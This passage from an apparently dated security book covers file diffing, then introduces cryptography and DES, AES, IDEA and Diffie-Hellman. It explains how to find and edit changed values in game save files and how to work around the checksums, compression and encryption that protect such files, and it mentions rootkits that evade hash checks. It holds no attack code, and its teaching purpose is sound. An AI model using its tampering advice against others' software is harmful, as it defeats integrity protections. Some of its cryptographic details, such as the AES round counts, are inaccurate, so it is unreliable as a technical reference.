file in the directory of interest and then compare them one by one with the modified set to see which individual files have been changed (and don’t forget to check for new files). However, that process is very cumbersome and might be more work than is necessary. Let’s examine a few methods that can be used to make this job easier. Doing It The Hard Way: Manual Comparison Naturally, you have the option of doing things manually, the hard way.That is, as we mentioned, you can take a complete copy of everything that might possibly be changed (say, all the files in a directory, or the whole hard drive), make the change, and then do a file-by-file comparison. Obviously, this technique will work, but it takes a lot more storage and time than other methods. In some special cases, though, it might still be the best choice. For example, when you’re working with the Windows Registry, tools to monitor specific portions of the Registry might be unavailable on the machine www.syngress.com Diffing • Chapter 5 151 you’re working on. Regedit is nearly always available, and it allows you export the whole Registry to a text file. In other cases, if there aren’t many files, and you’ve got lots of extra files, diffing the whole hard drive might be fine the first time to locate the file you’re interested in. Brute force can sometimes be faster than subtlety, especially if it will take you some time to prepare to be subtle. Comparing File Attributes One of the ways to avoid copying all the files is to take advantage of the file attributes built into the file system. File attributes are things like dates, times, size, and permissions. Several of these attributes can be of use to us in determining which files have just been modified. Here’s the relevant section of code from the file ext2_fs.h on a Red Hat 6.2 Linux install: /* * Structure of an inode on the disk */ struct ext2_inode { __u16 i_mode; /* File mode */ __u16 i_uid; /* Owner Uid */ __u32 i_size; /* Size in bytes */ __u32 i_atime; /* Access time */ __u32 i_ctime; /* Creation time */ __u32 i_mtime; /* Modification time */ __u32 i_dtime; /* Deletion Time */ __u16 i_gid; /* Group Id */ __u16 i_links_count; /* Links count */ __u32 i_blocks; /* Blocks count */ __u32 i_flags; /* File flags */ Most UNIX file systems have something very similar to this code as their base set of file attributes.There’s an owner, the size, several time fields, group, number of links to this file, number of disk blocks used, and the file flags (the standard Read Write eXecute permissions). So which attributes will be of use to us? In most cases, it will be one of the time values or the size. Either of these can be spotted by redirecting the output of an ls –al command to a file before and after and then diffing the two files, as shown in the following example: www.syngress.com 152 Chapter 5 • Diffing [elliptic@ellipse]$ diff /tmp/before /tmp/after 2,3c2,3 < drwxrwxr-x 2 ryan ryan 7168 Jun 16 01:55 . < drwxrwxrwt 9 root root 1024 Jun 16 01:55 .. --- > drwxrwxr-x 2 ryan ryan 7168 Jun 16 01:56 . > drwxrwxrwt 9 root root 1024 Jun 16 01:56 .. 97c97 < -rw-r--r-- 1 ryan ryan 31533 Jun 16 01:55 fs.h --- > -rw-r--r-- 1 ryan ryan 31541 Jun 16 01:56 fs.h From the example, it’s apparent that the fs.h file changed.This method (comparing the directory contents) will catch a change in any of the attributes.A quick way to simply look for a time change is to use ls –alt, shown in the following example piped through the more command: [elliptic@ellipse]$ ls -alt | more total 2224 drwxrwxrwt 9 root root 1024 Jun 16 01:56 .. drwxrwxr-x 2 ryan ryan 7168 Jun 16 01:56 . -rw-r--r-- 1 ryan ryan 31541 Jun 16 01:56 fs.h -rw-r--r-- 1 ryan ryan 7295 Jun 16 01:55 a.out.h -rw-r--r-- 1 ryan ryan 2589 Jun 16 01:55 acct.h -rw-r--r-- 1 ryan ryan 4620 Jun 16 01:55 adfs_fs.h … and so on.The newest files are displayed at the top. Under DOS/Windows, the command to sort by date is dir /o:d, as shown in the following example: C:\date>dir /o:d Volume in drive C has no label Volume Serial Number is 3C3B-11E3 Directory of C:\date HEX-EDIT EXE 58,592 03-14-95 9:51p Hex-edit.exe HEXEDI~1 GZ 165,110 06-05-00 11:44p hexedit-0_9_7_tar.gz HEXEDIT EXE 158,208 06-06-00 12:04a hexedit.exe www.syngress.com Diffing • Chapter 5 153 . <DIR> 06-16-00 12:18a . .. <DIR> 06-16-00 12:18a .. 3 file(s) 381,910 bytes 2 dir(s) 10,238.03 MB free In this case, the newest files are displayed at the bottom. Using the Archive Attribute Here’s a cute little trick available to DOS/Windows users:The File Allocation Table (FAT) file system includes a file attribute called the archive bit.The original purpose of the bit was to determine if a file had been modified since the last backup and therefore needed to be backed up again. Of course, since we’re after modified files, this method serves our purposes, too.Take a look at a typical directory with the attrib command in the following example: C:\date>attrib A HEX-EDIT.EXE C:\date\Hex-edit.exe A HEXEDIT.EXE C:\date\hexedit.exe A HEXEDI~1.GZ C:\date\hexedit-0_9_7_tar.gz Notice the A at the front of each line.That indicates that the archive bit is set (meaning it needs to be backed up). If we use the attrib command again to clear it, we get the results shown in the following example: C:\date>attrib -a *.* C:\date>attrib HEX-EDIT.EXE C:\date\Hex-edit.exe HEXEDIT.EXE C:\date\hexedit.exe HEXEDI~1.GZ C:\date\hexedit-0_9_7_tar.gz Now, if a file or two out of the group is modified, it gets its archive bit back, as shown in the following example: C:\date>attrib A HEX-EDIT.EXE C:\date\Hex-edit.exe HEXEDIT.EXE C:\date\hexedit.exe HEXEDI~1.GZ C:\date\hexedit-0_9_7_tar.gz www.syngress.com 154 Chapter 5 • Diffing That’s the output of attrib again, after HEX-EDIT.EXE has been changed. The nice thing about the attrib command is that it has a /s switch to process subdirectories as well, so you can use it to sweep through a whole directory structure. Then, you can use the dir /a:a command (directory of files with the archive attribute set) to see which files have been changed. Examining Checksums and Hashes There’s one central problem with relying on file attributes to determine if the files have been changed: File attributes are easy to fake. It’s dead simple to set the file to any size, date, and time you want. Most applications won’t bother to do this, but sometimes viruses,Trojans, or root kits do something like this to hide. One way around this trick is to use checksums or cryptographic hash algorithms on the files and store the results. Checksums, such as a cyclic redundancy check (CRC), are also pretty easy to fake if the attacker or attacking program knows which checksum algorithm is being used to check files, so it is recommended that you use a cryptographically strong hash algorithm instead.The essential property of a hash algorithm that we’re interested in is that the chances of two files hashing to the same value are impossibly small.Therefore, it isn’t possible for an attacker to produce a different file that hashes to the same value. Hash values are typically 128 or 160 bits long, so are much smaller than the typical file. For our purposes, we can use hashes to determine when files have changed, even if they are trying to hide the fact.We run though the files we’re interested in and take a hash value for each.We make our change.We then compute the hash values again and look for differences.The file attributes may match, but if the hash value is different, the file is different. Obviously, this method also has a lot of use in keeping a system secure.To be correct, I need to partially retract my statement that hashes can spot changes by a root kit; they can spot changes by a naïve root kit. A really good root kit assumes that hashes are being watched and causes the system to serve up different files at different times. For example, when a file is being read (say, by the hashing program), the modified operating system hands over the real, original file.When it’s asked to execute the file, it produces the modified one. For an example of this technique, look for “EXE Redirection” on the rootkit.com site.This site is dedicated to the open source development of a root kit for NT: www.rootkit.com. www.syngress.com Diffing • Chapter 5 155 Finding Other Tools Ultimately, a hacker’s goal is probably to cause the change that she’s been monitoring to occur at will. In other words, if she’s been trying to give herself more gold in her game, she wants to be able to do so without having to go through the whole diffing process. Perhaps she doesn’t mind using a hex editor each time, or perhaps she does. If she does mind, she’ll probably want some additional tools at her disposal. If the hacker has ever tackled any programming, she’ll want some sort of programming tool or language. Like editors, programming tools are very personal and subjective.Any full-featured programming language that allows arbitrary file and memory access is probably just fine. If the attacker is after some sort of special file access (say, the Windows Registry), it might be nice to have a programming language with libraries that hook into the Application Programming Interface (API) for that special file. In the case of the Windows Registry, it can be done from C compilers with the appropriate libraries; it can also be done from ActiveState Perl for Windows, and probably many, many more. If you’re curious, ActiveState Perl can be found at www.activestate.com/Products/ActivePerl/ index.html. Way back when DOS ruled the gaming market, a program called Game Wizard 32 was created.This program was essentially a diffing program for live, running games. It would install in memory-resident mode, and you would then launch your game. Once your game was running, you’d record some value (hit points, gold, energy, etc.) and tell Game Wizard 32 to look for it. It would record a list of matches.Then you’d make a change and go back to the list and see which one now matched the new value.You could then edit it and resume your game, usually with the new value in effect.This program also had many more features for the gamer, but that’s the one relevant to this discussion. Nowadays, most gamers call that type of program a trainer or memory editor. The concept is exactly the same as the one we presented for files. A wide range of these types of programs (including Game Wizard 32) can be found at http://gamesdomain.telepac.pt/direct...s/gwiz32.html. Another couple of tools I have found invaluable when working on Windows machines are File Monitor (FileMon) and Registry Monitor (RegMon), both from Sysinternals. If you’re using NT, you should also check out HandleEx, which provides similar information but with more detail.Their site can be found at www.sysinternals.com.This site has a large number of truly useful utilities, many of which they will give you for free, along with source code. www.syngress.com 156 Chapter 5 • Diffing FileMon is a tool that enables you to monitor programs that are accessing files, what they are doing to them (reading, writing, modifying attributes, etc.), and at what file offset, as shown in Figure 5.13. Filtering can be applied, so you can watch what only certain programs do, to reduce the amount of information you have to wade through. Note that FileMon records the offset and length when reading files.This can sometimes be of help when trying to determine where in a file a particular bit of information lives. FileMon is another good way to shorten your list of files to look at. The other tool from Sysinternals is RegMon. As you might expect, it does much the same thing as FileMon but for the Registry, as shown in Figure 5.14. While I was preparing this sample, I was listening to the Spinner application from spinner.com, which uses Real Audio to deliver its music. As you can see, Real Audio keeps itself busy while it’s running.You can also see a Dynamic Host Configuration Protocol (DHCP) action at line 472.This tool can be especially useful if you suspect an application is storing something interesting in the Registry in a subtle place or if you’re trying to determine what some Trojan horse program is up to. It sure beats copying and comparing the whole Registry. www.syngress.com Figure 5.13 Information That FileMon Reports Diffing • Chapter 5 157 Troubleshooting A couple of things can present challenges to trying to directly edit data files. These problems can become frustrating, since their focus is on meticulous details. In short, the focus is on modifying part of an important file while not confusing it with or becoming distracted by a less important, dependent file. Problems with Checksums and Hashes The first type of problem you might encounter is that of a checksum or hash being stored with the file.These are small values that represent a block of data— in this case, a part of the file.When writing out the file in question, the program performs a calculation on some portion of the file and comes up with a value. Typically, this value is somewhere in the 4- to 20-byte range.This value gets stored with the file. When it comes time to read the file, the program reads the data and the checksum/hash and performs the calculation on the data again. If the new hash matches the old one, the program assumes that the file is as it left it and proceeds. www.syngress.com Figure 5.14 Information Available via RegMon 158 Chapter 5 • Diffing If the hashes don’t match, the program will probably report an error, saying something to the effect of “File corrupt.” For a variety of reasons, an application developer might apply such a mechanism to his data files. One reason is to detect accidental file corruption. Some applications might not operate properly if the data is corrupted. Another reason is that the developer wanted to prevent the exact thing we’re trying to do.This might range from trying to prevent us from cheating at games to modifying password files. Of course, there is no actual security in this type of method. All you have to do is figure out what checksum or hash algorithm is used and perform the same operation as the program does.Where the hash lives in the file won’t be any secret; as you’re looking for changed bytes, trying to find your value you changed, you’ll also find some other set of bytes that changes every time, too. One of these other sets of bytes is the checksum. Unless you’ve got some clue as to what algorithm is used, the tricky part is figuring out how to calculate the checksum. Even with the algorithm, you still need to know which range of bytes is covered by the checksum, but that can be discovered experimentally. If you’re not sure if a particular section of the files is covered under the checksum, change one of the bytes and try it. If it reports a corrupted file, it (probably) is. Short of looking at the machine code or some external clue (such as the program reporting a CRC32 error), you’ll have to make guesses about the algorithm from the number of bytes in the hash value. CRC32, which is the most common, produces a 32-bit (4-byte) output.This is the checksum that is used in a number of networking technologies. Code examples can be found all over the place—just do a Web search, or you can find an example at www.faqs.org/faqs/ compression-faq/part1/section-26.html. MD4 and MD5 produce 128-bit (16-byte) output (MD stands for Message Digest).The Secure Hash Algorithm (SHA) produces 160-bit (20-byte) output. NOTE Variations on any of the techniques in this section are possible, if the developer wants to make a hacker’s work harder. Worst case, the hacker would have to run the program through a debugger and watch for the code to execute to help him determine the algorithm. You can find some examples of using a debugger to walk through code in Chapters 4 and 8 in this book. www.syngress.com Diffing • Chapter 5 159 Problems with Compression and Encryption This topic is essentially the same problem as the hash, with a little extra twist. If the file has been compressed or encrypted, you won’t be able to determine which part of the file you want to ultimately modify until after you’ve worked around the encryption or compression. When you go to diff a data file that has been compressed or encrypted (if the algorithm is any good), most of the file will show up as changed. At the beginning of the chapter I mentioned that I used Heroes of Might and Magic II for my example, even though Heroes of Might and Magic III has been out for some time.That’s because Heroes of Might and Magic III appears to compress its data files. I make this assumption based on the facts that the file is unintelligible (I don’t see any English words in it); nearly the whole file changes every save, even if I do nothing in the game between saves; and the file size changes slightly from time to time. Since compressed file size is usually dependent on file contents, whereas encrypted files tend to stay the same size each time if you encrypt the same number of bytes, I assume I’m seeing compression instead of encryption. For compressed files, the number of ways a file might be compressed is relatively limited. A number of compression libraries are available, and most people or businesses wouldn’t write their own compression routines. Again, in the worst case, you’ll have to use some sort of debugger or call trace tool to figure out where the compression routines live. Encryption is about the same, with the exception that chances are much higher that developers will attempt to roll their own “encryption” code. I put the term in quotes because most folks can’t produce decent encryption code (not that I can, either). So, if they make their own, it will probably be very crackable. If they use some real cryptography … well, we can still crack it. Since the program needs to decrypt the files too, everything you need is in there somewhere. See Chapter 6 for more information on encryption. www.syngress.com 160 Chapter 5 • Diffing Summary Diffing is the comparison of a program, library, or other file before and after some action. Diffing can be performed at the disk level, file level, or database level. In this chapter, we examined the difference between two revisions of the same file and showed how diff can give us details of the modifications between them. Reasons for diffing include discovering the location of password storage in applications or a vulnerability that has been fixed but not disclosed.We looked at an example of a patch created in unified diff format and then examined diff output between two source files to see that it was the same as the diff. Various tools are used in diffing, such as the fc utility included with Windows operating systems, and the diff command used with UNIX. Hex editing programs for various platforms are also worth exploring, such as Hackman for Windows. File system monitoring tools work on a broad group of files, a partition, or a drive letter. In this chapter, we discussed monitoring file systems the hard way—by copying the entire file system and doing a file-by-file comparison. By examining the structure of an ext2 file system discussed in this chapter, you can discover the means by which you can identify files that have changed through the modification time using ls. It is possible to perform a similar search using the MS-DOS dir command and looking for the file at the bottom; you can also search FAT file systems for changes with the archive attribute. Checksums can be used to monitor files for changes by creating a list of the checksums, then comparing them later. Note that some programs such as root kits may circumvent checksums. Other types of tools include ActiveState Perl, for writing your own tools; FileMon, a utility for monitoring the files that programs are accessing on a Microsoft Windows system; and RegMon, a utility for monitoring entries to the Windows Registry on a Windows system (both the latter tools are from Sysinternals). We closed the chapter with a discussion about problems we might encounter. We can circumvent checksums and hashes by discovering the location of the checksums and their method of generation.We also mentioned the problem with encryption and compression and how locating a checksum in a file that has been compressed or encrypted is impossible until the protecting mechanism has been circumvented. www.syngress.com Diffing • Chapter 5 161 Solutions Fast Track What Is Diffing? Diffing is the process of comparing an object before and after an operation. Diffing can be used to discover changes to files by execution of a program or to uncover vulnerabilities that have been fixed but not disclosed. An entire directory can be examined via the diff program to compare all like files within the directory. Diff-style research can be applied to source code and binaries. Exploring Diff Tools Most UNIX operating systems include the program diff for diffing; Microsoft operating systems include the fc utility, which offers similar features. When someone posts a vulnerability to a mailing list regarding a piece of open source software, it’s not uncommon for the poster to include diff output that will patch the source to fix the output. A hex editor is a tool that allows you to make direct access to a binary file without having to use the application program to which that type of file belongs. Hex editors are available for many platforms, such as Hackman for Windows or hexedit for UNIX. Because file attributes are easy to fake, you should not rely on them to determine if the files have been changed, because they could be hiding viruses,Trojans, or root kits. One way around this problem is to use checksums or cryptographic hash algorithms on the files and store the results. Utilities for Windows monitoring include RegMon and FileMon. www.syngress.com 162 Chapter 5 • Diffing Troubleshooting Checksums, hashes, compression, and encryption are used to protect files. Checksums and hashes can be circumvented by locating the value and discovering how it is generated.The tricky part is figuring out how to calculate the checksum; even with the algorithm, you still need to know which range of bytes is covered by the checksum. Encryption and compression must first be circumvented prior to altering hashes and checksums.The number of ways a file might be compressed is relatively limited, and the encryption, too, will be crackable; since the program needs to decrypt the files, too, everything you need is in there somewhere. Q: Is diff available for Windows? A: Diff can be attained from the Cygwin distribution, available from Cygnus Solutions. Q:Will I always have to diff fixes to discover vulnerabilities? A:Yes and no. Many vendors of free or GPL operating systems make this information available. Commercial vendors are not as eager to release this information. Although I can’t tell you which operating system to use, I can say I prefer having the information, and therefore I use free and open source operating systems. Q: Can I get grep with the recursive function built in? A:Yes.Versions of grep that support the recursive (-r) flag are available from the Free Software Foundation at www.gnu.org. www.syngress.com Frequently Asked Questions The following Frequently Asked Questions, answered by the authors of this book, are designed to both measure your understanding of the concepts presented in this chapter and to assist you with real-life implementation of these concepts. To have your questions about this chapter answered by the author, browse to www.syngress.com/solutions and click on the “Ask the Author” form. Diffing • Chapter 5 163 Q: What if I want to use C instead of Perl to create my tools? A: More power to you. Most free UNIX-like operating systems include a C compiler. For Windows, DJGPP can be used; it’s available at www.delorie.com/djgpp. Q: Where can I find other free utilities? A: Sourceforge.net has a large repository of free software. Additionally, Freshmeat.net is a freely available software search engine. |
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![]() Chapter 6 • Cryptography
Introduction Cryptography is everywhere these days, from hashed passwords to encrypted mail, to Internet Protocol Security (IPSec) virtual private networks (VPNs) and even encrypted filesystems. Security is the reason why people opt to encrypt data, and if you want your data to remain secure you’d best know a bit about how cryptography works.This chapter certainly can’t teach you how to become a professional cryptographer—that takes years of study and practice—but you will learn how most of the cryptography you will come in contact with functions (without all the complicated math, of course). We’ll examine some of the history of cryptography and then look closely at a few of the most common algorithms, including Advanced Encryption Standard (AES), the recently announced new cryptography standard for the U.S. government. We’ll learn how key exchanges and public key cryptography came into play, and how to use them. I’ll show you how almost all cryptography is at least theoretically vulnerable to brute force attacks. Naturally, once we’ve covered the background we’ll look at how cryptography can be broken, from cracking passwords to man-in-the-middle-type attacks.We’ll also look at how other attacks based on poor implementation of strong cryptography can reduce your security level to zero. Finally, we’ll examine how weak attempts to hide information using outdated cryptography can easily be broken. Understanding Cryptography Concepts What does the word crypto mean? It has its origins in the Greek word kruptos, which means hidden.Thus, the objective of cryptography is to hide information so that only the intended recipient(s) can “unhide” it. In crypto terms, the hiding of information is called encryption, and when the information is unhidden, it is called decryption.A cipher is used to accomplish the encryption and decryption. Merriam-Webster’s Collegiate Dictionary defines cipher as “a method of transforming a text in order to conceal its meaning.”The information that is being hidden is called plaintext; once it has been encrypted, it is called ciphertext.The ciphertext is transported, secure from prying eyes, to the intended recipient(s), where it is decrypted back into plaintext. www.syngress.com www.syngress.com History According to Fred Cohen, the history of cryptography has been documented back to over 4000 years ago, where it was first allegedly used in Egypt. Julius Caesar even used his own cryptography called Caesar’s Cipher. Basically, Caesar’s Cipher rotated the letters of the alphabet to the right by three. For example, S moves to V and E moves to H. By today’s standards the Caesar Cipher is extremely simplistic, but it served Julius just fine in his day. If you are interested in knowing more about the history of cryptography, the following site is a great place to start: www.all.net/books/ip/Chap2-1.html. In fact, ROT13 (rotate 13), which is similar to Caesar’s Cipher, is still in use today. It is not used to keep secrets from people, but more to avoid offending people when sending jokes, spoiling the answers to puzzles, and things along those lines. If such things occur when someone decodes the message, then the responsibility lies on them and not the sender. For example, Mr. G. may find the following example offensive to him if he was to decode it, but as it is shown it offends no one:V guvax Jvaqbjf fhpxf… ROT13 is simple enough to work out with pencil and paper. Just write the alphabet in two rows; the second row offset by 13 letters: ABCDEFGHIJKLMNOPQRSTUVWXYZ NOPQRSTUVWXYZABCDEFGHIJKLM Encryption Key Types Cryptography uses two types of keys: symmetric and asymmetric. Symmetric keys have been around the longest; they utilize a single key for both the encryption and decryption of the ciphertext.This type of key is called a secret key, because you must keep it secret. Otherwise, anyone in possession of the key can decrypt messages that have been encrypted with it.The algorithms used in symmetric key encryption have, for the most part, been around for many years and are well known, so the only thing that is secret is the key being used. Indeed, all of the really useful algorithms in use today are completely open to the public. A couple of problems immediately come to mind when you are using symmetric key encryption as the sole means of cryptography. First, how do you ensure that the sender and receiver each have the same key? Usually this requires the use of a courier service or some other trusted means of key transport. Second, a problem exists if the recipient does not have the same key to decrypt Cryptography • Chapter 6 167 168 Chapter 6 • Cryptography the ciphertext from the sender. For example, take a situation where the symmetric key for a piece of crypto hardware is changed at 0400 every morning at both ends of a circuit.What happens if one end forgets to change the key (whether it is done with a strip tape, patch blocks, or some other method) at the appropriate time and sends ciphertext using the old key to another site that has properly changed to the new key? The end receiving the transmission will not be able to decrypt the ciphertext, since it is using the wrong key.This can create major problems in a time of crisis, especially if the old key has been destroyed. This is an overly simple example, but it should provide a good idea of what can go wrong if the sender and receiver do not use the same secret key. Asymmetric cryptography is relatively new in the history of cryptography, and it is probably more recognizable to you under the synonymous term public key cryptography.Asymmetric algorithms use two different keys, one for encryption and one for decryption—a public key and a private key, respectively.Whitfield Diffie and Martin Hellman first publicly released public key cryptography in www.syngress.com Assessing Algorithmic Strength Algorithmic security can only be proven by its resistance to attack. Since many more attacks are attempted on algorithms which are open to the public, the longer an algorithm has been open to the public, the more attempts to circumvent or break it have occurred. Weak algorithms are broken rather quickly, usually in a matter of days or months, whereas stronger algorithms may be used for decades. However, the openness of the algorithm is an important factor. It’s much more difficult to break an algorithm (whether weak or strong) when its complexities are completely unknown. Thus when you use an open algorithm, you can rest assured in its strength. This is opposed to a proprietary algorithm, which, if weak, may eventually be broken even if the algorithm itself is not completely understood by the cryptographer. Obviously, one should limit the trust placed in proprietary algorithms to limit long-term liability. Such scrutiny is the reason the inner details of many of the patented algorithms in use today (such as RC6 from RSA Laboratories) are publicly available. Tools & Traps… Cryptography • Chapter 6 169 1976 as a method of exchanging keys in a secret key system.Their algorithm, called the Diffie-Hellman (DH) algorithm, is examined later in the chapter. Even though it is commonly reported that public key cryptography was first invented by the duo, some reports state that the British Secret Service actually invented it a few years prior to the release by Diffie and Hellman. It is alleged, however, that the British Secret Service never actually did anything with their algorithm after they developed it. More information on the subject can be found at the following location: www.wired.com/wired/archive/7.04/crypto_pr.html Some time after Diffie and Hellman, Phil Zimmermann made public key encryption popular when he released Pretty Good Privacy (PGP) v1.0 for DOS in August 1991. Support for multiple platforms including UNIX and Amiga were added in 1994 with the v2.3 release.Over time, PGP has been enhanced and released by multiple entities, including ViaCrypt and PGP Inc., which is now part of Network Associates. Both commercial versions and free versions (for noncommercial use) are available. For those readers in the United States and Canada, you can retrieve the free version from http://web.mit.edu/network/pgp.html. The commercial version can be purchased from Network Associates at www.pgp.com. Learning about Standard Cryptographic Algorithms Just why are there so many algorithms anyway? Why doesn’t the world just standardize on one algorithm? Given the large number of algorithms found in the field today, these are valid questions with no simple answers. At the most basic level, it’s a classic case of tradeoffs between security, speed, and ease of implementation. Here security indicates the likelihood of an algorithm to stand up to current and future attacks, speed refers to the processing power and time required to encrypt and decrypt a message, and ease of implementation refers to an algorithm’s predisposition (if any) to hardware or software usage. Each algorithm has different strengths and drawbacks, and none of them is ideal in every way. In this chapter, we will look at the five most common algorithms that you will encounter: Data Encryption Standard (DES), AES [Rijndael], International Data Encryption Algorithm (IDEA), Diffie-Hellman, and Rivest, Shamir, Adleman (RSA). Be aware, though, that there are dozens more active in the field. www.syngress.com 170 Chapter 6 • Cryptography Understanding Symmetric Algorithms In this section, we will examine several of the most common symmetric algorithms in use: DES, its successor AES, and the European standard, IDEA. Keep in mind that the strength of symmetric algorithms lies primarily in the size of the keys used in the algorithm, as well as the number of cycles each algorithm employs. All symmetric algorithms are also theoretically vulnerable to brute force attacks, which are exhaustive searches of all possible keys. However, brute force attacks are often infeasible.We will discuss them in detail later in the chapter. DES Among the oldest and most famous encryption algorithms is the Data Encryption Standard, which was developed by IBM and was the U.S. government standard from 1976 until about 2001. DES was based significantly on the Lucifer algorithm invented by Horst Feistel, which never saw widespread use. Essentially, DES uses a single 64-bit key—56 bits of data and 8 bits of parity—and operates on data in 64-bit chunks.This key is broken into 16 separate 48-bit subkeys, one for each round, which are called Feistel cycles. Figure 6.1 gives a schematic of how the DES encryption algorithm operates. Each round consists of a substitution phase, wherein the data is substituted with pieces of the key, and a permutation phase, wherein the substituted data is scrambled (re-ordered). Substitution operations, sometimes referred to as confusion operations, are said to occur within S-boxes. Similarly, permutation operations, sometimes called diffusion operations, are said to occur in P-boxes. Both of these operations occur in the “F Module” of the diagram.The security of DES lies mainly in the fact that since the substitution operations are non-linear, so the resulting ciphertext in no way resembles the original message.Thus, languagebased analysis techniques (discussed later in this chapter) used against the ciphertext reveal nothing.The permutation operations add another layer of security by scrambling the already partially encrypted message. Every five years from 1976 until 2001, the National Institute of Standards and Technology (NIST) reaffirmed DES as the encryption standard for the U.S. government. However, by the 1990s the aging algorithm had begun to show signs that it was nearing its end of life. New techniques that identified a shortcut method of attacking the DES cipher, such as differential cryptanalysis, were proposed as early as 1990, though it was still computationally unfeasible to do so. www.syngress.com Cryptography • Chapter 6 171 SECURITY ALERT How can symmetric algorithms such as DES be made more secure? Theoretically, there are two ways: either the key length needs to be increased, or the number of rounds in the encryption process needs to be increased. Both of these solutions tend to increase the processing power required to encrypt and decrypt data and slow down the encryption/ decryption speed because of the increased number of mathematical operations required. Examples of modified DES include 3-DES (a.k.a. Triple DES) and DESX. Triple DES uses three separate 56-bit DES keys as a single 168-bit key, though sometimes keys 1 and 3 are identical, yielding 112-bit security. DESX adds an additional 64-bits of key data. Both 3-DES and DESX are intended to strengthen DES against brute force attacks. www.syngress.com Figure 6.1 Diagram of the DES Encryption Algorithm Preliminary Permutation 56-Bit Data Input 8-bit Parity Input Incoming Data Stream (Cleartext) 010011001101011 XOR F Module 64-Bits Subkey N 48-Bits Repeat for N Iterations Final Permutation 56-Bit Data Output Outgoing Data Stream (Ciphertext) 111010110100101 KN 172 Chapter 6 • Cryptography Significant design flaws such as the short 56-bit key length also affected the longevity of the DES cipher. Shorter keys are more vulnerable to brute force attacks. Although Whitfield Diffie and Martin Hellman were the first to criticize this short key length, even going so far as to declare in 1979 that DES would be useless within 10 years, DES was not publicly broken by a brute force attack until 1997. The first successful brute force attack against DES took a large network of machines over 4 months to accomplish. Less than a year later, in 1998, the Electronic Frontier Foundation (EFF) cracked DES in less than three days using a computer specially designed for cracking DES.This computer, code-named “Deep Crack,” cost less than $250,000 to design and build.The record for cracking DES stands at just over 22 hours and is held by Distributed.net, which employed a massively parallel network of thousands of systems (including Deep Crack). Add to this the fact that Bruce Schneier has theorized that a machine capable of breaking DES in about six minutes could be built for a mere $10 million. Clearly, NIST needed to phase out DES in favor of a new algorithm. AES (Rijndael) In 1997, as the fall of DES loomed ominously closer, NIST announced the search for the Advanced Encryption Standard, the successor to DES. Once the search began, most of the big-name cryptography players submitted their own AES candidates. Among the requirements of AES candidates were: AES would be a private key symmetric block cipher (similar to DES). AES needed to be stronger and faster then 3-DES. AES required a life expectancy of at least 20-30 years. AES would support key sizes of 128-bits, 192-bits, and 256-bits. AES would be available to all—royalty free, non-proprietary and unpatented. Within months NIST had a total of 15 different entries, 6 of which were rejected almost immediately on grounds that they were considered incomplete. By 1999, NIST had narrowed the candidates down to five finalists including MARS, RC6, Rijndael, Serpent, and Twofish. Selecting the winner took approximately another year, as each of the candidates needed to be tested to determine how well they performed in a variety of environments. After all, applications of AES would range anywhere from portable www.syngress.com Cryptography • Chapter 6 173 smart cards to standard 32-bit desktop computers to high-end optimized 64-bit computers. Since all of the finalists were highly secure, the primary deciding factors were speed and ease of implementation (which in this case meant memory footprint). Rijndael was ultimately announced as the winner in October of 2000 because of its high performance in both hardware and software implementations and its small memory requirement.The Rijndael algorithm, developed by Belgian cryptographers Dr. Joan Daemen and Dr.Vincent Rijmen, also seems resistant to power- and timing-based attacks. So how does AES/Rijndael work? Instead of using Feistel cycles in each round like DES, it uses iterative rounds like IDEA (discussed in the next section). Data is operated on in 128-bit chunks, which are grouped into four groups of four bytes each.The number of rounds is also dependent on the key size, such that 128-bit keys have 9 rounds, 192-bit keys have 11 rounds and 256-bit keys require 13 rounds. Each round consists of a substitution step of one S-box per data bit followed by a pseudo-permutation step in which bits are shuffled between groups.Then each group is multiplied out in a matrix fashion and the results are added to the subkey for that round. How much faster is AES than 3-DES? It’s difficult to say, because implementation speed varies widely depending on what type of processor is performing the encryption and whether or not the encryption is being performed in software or running on hardware specifically designed for encryption. However, in similar implementations, AES is always faster than its 3-DES counterpart. One test performed by Brian Gladman has shown that on a Pentium Pro 200 with optimized code written in C, AES (Rijndael) can encrypt and decrypt at an average speed of 70.2 Mbps, versus DES’s speed of only 28 Mbps.You can read his other results at fp.gladman.plus.com/cryptography_technology/aes. IDEA The European counterpart to the DES algorithm is the IDEA algorithm, and its existence proves that Americans certainly don’t have a monopoly on strong cryptography. IDEA was first proposed under the name Proposed Encryption Standard (PES) in 1990 by cryptographers James Massey and Xuejia Lai as part of a combined research project between Ascom and the Swiss Federal Institute of Technology. Before it saw widespread use PES was updated in 1991 to increase its strength against differential cryptanalysis attacks and was renamed Improved PES (IPES). Finally, the name was changed to International Data Encryption Algorithm (IDEA) in 1992. www.syngress.com 174 Chapter 6 • Cryptography Not only is IDEA newer than DES, but IDEA is also considerably faster and more secure. IDEA’s enhanced speed is due to the fact the each round consists of much simpler operations than the Fiestel cycle in DES.These operations (XOR, addition, and multiplication) are much simpler to implement in software than the substitution and permutation operations of DES. IDEA operates on 64-bit blocks with a 128-bit key, and the encryption/ decryption process uses 8 rounds with 6 16-bit subkeys per round.The IDEA algorithm is patented both in the US and in Europe, but free non-commercial use is permitted. Understanding Asymmetric Algorithms Recall that unlike symmetric algorithms, asymmetric algorithms require more than one key, usually a public key and a private key (systems with more than two keys are possible). Instead of relying on the techniques of substitution and transposition, which symmetric key cryptography uses, asymmetric algorithms rely on the use of massively large integer mathematics problems. Many of these problems are simple to do in one direction but difficult to do in the opposite direction. For example, it’s easy to multiply two numbers together, but it’s more difficult to factor them back into the original numbers, especially if the integers you are using contain hundreds of digits.Thus, in general, the security of asymmetric algorithms is dependent not upon the feasibility of brute force attacks, but the feasibility of performing difficult mathematical inverse operations and advances in mathematical theory that may propose new “shortcut” techniques. In this section, we’ll take a look at RSA and Diffie-Hellman, the two most popular asymmetric algorithms in use today. Diffie-Hellman In 1976, after voicing their disapproval of DES and the difficulty in handling secret keys,Whitfield Diffie and Martin Hellman published the Diffie-Hellman algorithm for key exchange.This was the first published use of public key cryptography, and arguably one of the cryptography field’s greatest advances ever. Because of the inherent slowness of asymmetric cryptography, the Diffie-Hellman algorithm was not intended for use as a general encryption scheme—rather, its purpose was to transmit a private key for DES (or some similar symmetric algorithm) across an insecure medium. In most cases, Diffie-Hellman is not used for encrypting a complete message because it is 10 to 1000 times slower than DES, depending on implementation. www.syngress.com Cryptography • Chapter 6 175 Prior to publication of the Diffie-Hellman algorithm, it was quite painful to share encrypted information with others because of the inherent key storage and transmission problems (as discussed later in this chapter). Most wire transmissions were insecure, since a message could travel between dozens of systems before reaching the intended recipient and any number of snoops along the way could uncover the key.With the Diffie-Hellman algorithm, the DES secret key (sent along with a DES-encrypted payload message) could be encrypted via Diffie- Hellman by one party and 